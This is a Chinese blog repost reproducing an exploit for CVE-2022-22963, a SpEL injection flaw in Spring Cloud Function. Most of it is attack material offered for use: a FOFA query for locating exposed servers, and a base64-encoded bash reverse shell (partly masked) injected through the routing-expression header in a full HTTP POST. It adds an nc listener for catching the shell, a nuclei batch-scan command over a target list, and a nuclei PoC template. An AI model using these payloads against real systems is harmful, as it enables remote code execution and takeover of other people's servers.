CVE-2022-22963 Spring Cloud Function SpEL 代码注入

本文转载于公众号:融云攻防实验室,原文地址:

漏洞复现 CVE-2022-22963 Spring Cloud Function SpEL 代码注入

0x01 阅读须知

资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明

0x02 漏洞描述

SpringCloudFunction提供了一种通用模型,用于在各种平台上部署基于函数的软件,包括AmazonAWSLambda等FaaS(函数即服务)平台。该漏洞是由于在/functionRouter的POST请求头中添加一个spring.cloud.function.routing-expression参数,SpringCloudFunction会直接将参数值带入SpEL中查询导致SpEL注入。

图片[1]-CVE-2022-22963 Spring Cloud Function SpEL 代码注入-安全小天地

0x03 漏洞复现

漏洞影响: Spring 3 <= 版本 <= 3.2.2

FOFA:app=”spring”

1.构造base64加密并解密反弹shell的脚本

地址:
https://ir0ny.top/pentest/reverse-encoder-shell.html
代码:
bash -c {echo,YmFzaCAtaSA+JiAvxxV2L3Rjcxx8xOxIuxxY4LjMxLjEwMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
图片[2]-CVE-2022-22963 Spring Cloud Function SpEL 代码注入-安全小天地

2.构造反弹shell的payload

payload:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvxxV2L3Rjcxx8xOxIuxxY4LjMxLjEwMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}\")

HTTP报文:
POST /functionRouter HTTP/1.1
Host: x.x.x.x:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,YmFzaCAtaSxxJiAvZGV2LxxxcC8xxOTxMTY4LjMxLjEwMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}\")
Upgrade-Insecure-Requests: 1
Content-Type: text/plain
Content-Length: 4

test
图片[3]-CVE-2022-22963 Spring Cloud Function SpEL 代码注入-安全小天地

3.nc监听7777端口,得到一个shell

nc.exe -lvvp 7777

4.nuclei已经集成该漏洞脚本(nuclei稳定快,编写poc简单,有社区维护,推荐使用)

nuclei下载地址:https://github.com/projectdiscovery/nuclei


批量验证命令:
nnuclei.exe -t cves/2022/CVE-2022-22963.yaml -l subs.txt

yaml POC:
id: CVE-2022-22963

info:
  name: Spring Cloud Function SPEL RCE
  author: Mr-xn,Adam Crosser
  severity: critical
  description: |
    In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
  reference:
    - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
    - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE
    - https://tanzu.vmware.com/security/cve-2022-22963
    - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/
    - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-22963
    cwe-id: CWE-94
  tags: cve,cve2022,springcloud,rce

requests:
  - raw:
      - |
        POST /functionRouter HTTP/1.1
        Host: {{Hostname}}
        spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")
        Content-Type: application/x-www-form-urlencoded

        {{rand_base(8)}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - \"http\"
          - \"dns\"
        condition: or

      - type: status
        status:
          - 500
------本文已结束,感谢您的阅读------
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容